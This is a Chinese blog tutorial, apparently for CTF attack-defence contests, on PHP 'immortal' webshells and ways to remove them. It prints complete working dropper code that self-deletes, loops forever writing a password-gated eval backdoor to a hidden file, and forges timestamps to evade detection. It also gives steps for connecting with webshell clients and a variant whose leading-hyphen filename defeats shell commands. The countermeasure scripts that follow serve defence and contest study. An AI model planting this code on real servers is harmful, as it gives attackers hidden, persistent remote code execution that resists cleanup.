不死马的利用与克制(基于条件竞争)及变种不死马

简介: 不死马的利用与克制(基于条件竞争)及变种不死马

不死马即内存马,它会写进进程里,并且无限地在指定目录中生成木马文件

这里以PHP不死马为例

测试代码:

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.test.php';
    $code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .test.php');
        usleep(5000);
    }
?>

上面代码即为最简单的不死马,其目的是创建一个名为".test.php"的PHP文件,该文件包含一个带有密码验证的后门,允许执行任意PHP代码。


关于代码的详细解释:


1、ignore_user_abort(true);


设置PHP脚本忽略用户中止连接,即使用户在浏览器中停止加载页面,脚本仍然会继续执行。


2、set_time_limit(0);


设置脚本执行时间限制为0,意味着脚本可以无限期地运行,不会被PHP的执行时间限制所中断。


3、unlink(__FILE__);


删除当前正在执行的PHP脚本文件,这是一种尝试隐藏脚本的行为,以防止被发现。


4、$file = '.test.php';


定义一个变量$file,它包含了要写入的文件名,即".test.php"。


文件最前面带上.就会变成隐藏文件


5、$code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';


定义一个变量$code,其中包含了PHP代码。这段代码首先检查通过GET请求传递的"pass"参数的MD5哈希值是否等于"098f6bcd4621d373cade4e832627b4f6",如果验证成功,它会尝试执行通过POST请求传递的名为"test"的PHP代码。


6、while (1){...}


这是一个无限循环,它将不断执行以下操作:


a. file_put_contents($file, $code);


将上述定义的$code写入文件$file,也就是".test.php",以便不断更新文件内容。


b. system('touch -m -d "2018-12-01 09:10:12" .test.php'); -


使用system函数,它会执行系统命令touch,以修改".test.php"文件的修改时间为"2018-12-01 09:10:12",这样可以欺骗文件的最后修改时间,以防止检测。


c. usleep(5000);


等待5毫秒后继续循环,这个睡眠操作是为了降低脚本的资源消耗,避免被系统检测到异常行为。


其中 098f6bcd4621d373cade4e832627b4f6 是加密后的md5值,之所以要进行加密是防止我们的木马被其他队伍利用,这里只是为了测试,加密前内容为test


上传该PHP文件后进行访问


访问后会在该路径下循环生成名字为 .test.php 的不死马隐藏文件


使用蚁剑或者菜刀连接生成的webshell:


http://文件所在路径/.test.php?pass=test


连接密码:test

尝试删除该文件,你会发现无法删除,这就是不死马,因为它已经写入了进程

使用ls和ll这种命令根本查找不到它,在前面代码我们说了,它会进行自动删除

只有查看新增文件才能发现它

find ./ -cmin -30  #查看30分钟内创建的文件

或者除非你知道这个不死马的名字,也可使用find命令查找(./表示在当前目录下)

处理方法:

1、写入同名文件克制不死马

测试代码:

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.test.php';
    $code = 'come on!';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .test.php');
          usleep(1000);
    }
?>

注意:usleep的时间一定要比不死马小,$code修改为无害内容即可

假设文件命名为killshell.php,上传该文件并访问它

注意:一定要先去访问它一遍才能触发写入文件

再次尝试连接webshell发现已经连不上了,返回数据为空

在服务器查看webshell的内容

可以看到,内容不再是一句话木马,而变成了我们后面写入的无害内容

2、使用条件竞争查杀不死马

测试代码:

这是一个bash脚本

#!/bin/bash
while true 
do
#kill -9 进程ID
rm -rf .test.php
done

如果能查到不死马的进程ID也可以kill命令和rm命令同时进行

使用命令 top | grep httpd 进行查询或者ps aux列出所有进程,找到要查杀的进程

新建查杀脚本

vim rmshell.sh

添加最高权限

chmod 777 rmshell.sh

在后台不断运行该脚本
nohup ./rmshell.sh &

再次查看不死马,发现已经不存在了

简单查看一下

拓展:变种不死马


这里写入的木马以-开头,而不是.开头


在 Linux 命令行中,命令在追加参数时都是用的-,所以,如果对这样方式命名的文件执行命令,都会将这个文件当做参数来执行,没有该参数就会报错,以至于命令无法在这个不死马上执行,但缺点就是隐蔽性没有以.开头的好。

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '-test.php';
    $code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" -test.php');
        usleep(5000);
    }
?>
目录
相关文章
|
2月前
|
安全 关系型数据库 MySQL
Web安全-条件竞争漏洞
Web安全-条件竞争漏洞
48 0
|
3月前
|
程序员 数据库
深入剖析操作系统死锁:不可不知的四大条件!
大家好,我是小米。今天探讨操作系统中的死锁问题——两个或更多进程因争夺资源陷入相互等待的状态。死锁有四个必要条件:互斥、请求与保持、非剥夺及循环等待。解决策略包括:使用乐观锁破坏互斥条件;资源一次性分配避免请求与保持;允许资源剥夺;以及采用资源有序分配法消除循环等待。通过这些方法,可以有效预防和解决死锁,提升系统稳定性和效率。希望本文能帮助你更好地理解并处理死锁问题!
140 4
|
SQL 监控 关系型数据库
死锁分析延续
可知上一篇【死锁分析】,又重新表达了一些图片,图画更了
152 0
死锁分析延续
|
缓存 Java
【高并发】一文解密诡异并发问题的第一个幕后黑手——可见性问题
可见性问题,可以这样理解:一个线程修改了共享变量,另一个线程不能立刻看到,这是由CPU添加了缓存导致的问题。理解了什么是可见性,再来看可见性问题就比较好理解了。既然可见性是一个线程修改了共享变量后,另一个线程能够立刻看到对共享变量的修改,如果不能立刻看到,这就会产生可见性的问题。
389 0
【高并发】一文解密诡异并发问题的第一个幕后黑手——可见性问题
|
缓存 Java 编译器
【高并发】解密导致并发问题的第三个幕后黑手——有序性问题
大冰:小菜童鞋,昨天的内容复习了吗? 小菜:复习了大冰哥,昨天的内容干货满满啊,感觉自己收获很大。 大冰:那你说说昨天都讲了哪些内容呢? 小菜:昨天主要讲了原子性、线程切换和原子性问题,在编程语言中的一条语句可能会对应CPU中的多条指令,而CPU只能保证指令级别的原子性,不能保证编程语言级别的原子性,我们在编写并发程序时,需要自行确保编程语言级别语句的原子性。 大冰:很好,小菜童鞋,理解的不错,今天我们就来学习下引起并发编程各种诡异Bug的最后一个“幕后黑手”,也是最后一个引起并发编程Bug的源头。
105 0
【高并发】解密导致并发问题的第三个幕后黑手——有序性问题
|
安全
细节是魔鬼——基于计数器的锁机制的实现准则
有点标题党了,本意是想把对内核锁机制的一些实现细节记录下来,但多少反映了锁机制实现时的一些准则。本文讨论的锁机制主要指基于计数器的锁机制例如 spinlock、mutex,不包括 RCU 这类锁机制。 ### parallesim 在讨论各种锁机制之前,有必要讨论系统的并行度,即有哪些潜在的竞争场景 1. 中断上下文与进程上下文对共享资源的访问,由于中断是异步进行的,因而中断与进程是并发执行
354 0
|
安全 PHP 前端开发
条件竞争漏洞
参考文献:https://blog.csdn.net/u011377996/article/details/79511160 条件竞争漏洞: 一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。
2591 0
&#9733;电车难题的n个坑爹变种
哲学家都不会做的电车难题变异 此题会答清华北大 “电车难题(Trolley Problem)”是伦理学领域最为知名的思想实验之一,其内容大致是: 一个疯子把五个无辜的人绑在电车轨道上。
1317 0